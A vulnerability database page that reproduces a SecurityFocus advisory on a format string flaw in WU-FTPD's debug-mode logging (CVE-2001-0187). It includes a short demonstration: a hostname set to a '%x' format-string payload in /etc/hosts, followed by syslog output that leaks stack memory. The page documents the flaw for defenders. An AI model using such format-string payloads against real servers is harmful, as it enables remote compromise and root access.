WU-FTPD 2.4.2/2.5/2.6 - Debug Mode Client Hostname Format String
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | WU-FTPD < 2.6.2 PASV Command Format String Arbitrary Code Execution | 20 Aug 200400:00 | – | nessus |
| Debian DSA-016-3 : wu-ftpd - temp file creation and format string | 29 Sep 200400:00 | – | nessus |
| WU-FTPD Debug Mode Client Hostname Remote Format String | 9 Mar 200300:00 | – | nessus |
 | CVE-2001-0187 | 7 May 200104:00 | – | cve |
 | CVE-2001-0187 | 7 May 200104:00 | – | cvelist |
 | EUVD-2001-0187 | 7 Oct 202500:30 | – | euvd |
 | CVE-2001-0187 | 26 Mar 200105:00 | – | nvd |
 | Debian Security Advisory DSA 016-1 (wu-ftpd) | 17 Jan 200800:00 | – | openvas |
| HP-UX Update for WU-FTPD HPSBUX00180 | 5 May 200900:00 | – | openvas |
| Debian Security Advisory DSA 016-1 (wu-ftpd) | 17 Jan 200800:00 | – | openvas |
10
source: https://www.securityfocus.com/bid/2296/info
Wu-ftpd is a widely used unix ftp server. It contains a format string vulnerability that may be exploitable under certain (perhaps 'extreme') circumstances.
When running in debug mode, Wu-ftpd logs user activity to syslog in an insecure manner. An attacker with control over the server's hostname resolving facility could exploit this vulnerability to get root access remotely on the victim host.
The following example demonstrates the vulnerability.
Note: /etc/hosts is used as the example name resolving mechanism. Could be DNS, NIS, etc.
Conditions:
$ grep 127.0.0.1 /etc/hosts
127.0.0.1 %x%x%x%x%x%x%x%x%x%x
$ grep ftpd /etc/inetd.conf
ftp stream tcp nowait root /usr/sbin/tcpd /tmp/wuftpd-2.6.0/src/ftpd -v
$ ncftpget -F 127.0.0.1 /tmp /usr/lib/ld.so
$ tail /var/log/syslog.debug
Jan 24 14:17:01 xxx ftpd[30912]: PASV port 47479 assigned to 80862b0806487eb9778084da87bffff16c9640151020bfffe108401c9004 [127.0.0.1]
..<snip extra output>..Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.05669